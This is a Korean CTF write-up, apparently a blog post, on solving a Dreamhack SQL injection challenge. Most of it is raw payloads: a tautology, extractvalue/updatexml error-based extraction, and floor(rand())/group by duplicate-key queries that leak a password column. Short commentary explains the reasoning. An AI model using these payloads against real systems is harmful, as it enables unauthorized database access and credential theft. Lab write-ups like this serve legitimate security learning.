id=~~~~~~&pw=pw&type=1 or 1=1
id=~~~~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, @@version))
id=~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, (select ps from t_user)))
id=~~~~~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, (select ps from all_user_accounts)))
id=~~~~~~&pw=pw&type=1 and updatexml(null,concat(0x3a,(select table_name from information_schema.tables),null)
만약에 정확한 테이블명을 안다면?? 그래서 from 뒤에 붙일 수 있다면 어쩌면 바로 flag를 얻을수 있을지도 모른다
왜냐하면 일단 내가 아는 건 type이 약하기 때문에 원하는 값을 붙일 수 있다는 것이고 위에 나오는 구문을 활용했을 때 select ps ~하고 sql구문을 집어 넣을 수 있다는 것이다
따라서 어떻게 보면 관건은 from 뒤에 어떤 테이블 명이 들어올 것이냐 인지도 모른다
->라고 생각했지만 실제 payload는 그보다는 훨씬 복잡했다
아래를 보면 group by를 응용하고 있다는 것을 알 수 있다
id=~~~~~~~&pw=pw&type=1 and extractvalue(0xa,concat(0xa, (elect table_name from information_schema.tables))
id=2~~~~~~~&pw[]=pw&type=1 or row(1,1)=(select count(*),concat(ps,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1)
1=1 and row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);
id=~~~~~~~~&pw=pw&type=2 or row(1,1)=(select count(*),concat(ps,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1)
정말 내 취향은 아닌 문제이지만
어쨋든 이 문제는 꼭 admin이 아닌 user로도 로그인해도 풀리는 간단한 문제였다 위에 나온 것처럼 payload를 구성하면 group key 값이 뜨는데 그것이 pw이므로 user로 입력해주면 원하는 flag를 얻을 수 있다
풀고 나서 궁금한 거긴 한데
이 문제는 admin으로는 로그인 하는 게 불가능한 문제인 걸까??
'호그와트' 카테고리의 다른 글
드림핵 xss-1 (0) | 2022.01.22 |
---|---|
드림핵 xss-2 (0) | 2022.01.22 |
드림핵 mango를 먹자 (0) | 2022.01.22 |
드림핵 session-basic (0) | 2022.01.22 |
드림핵 메모리 누수 문제 (0) | 2022.01.22 |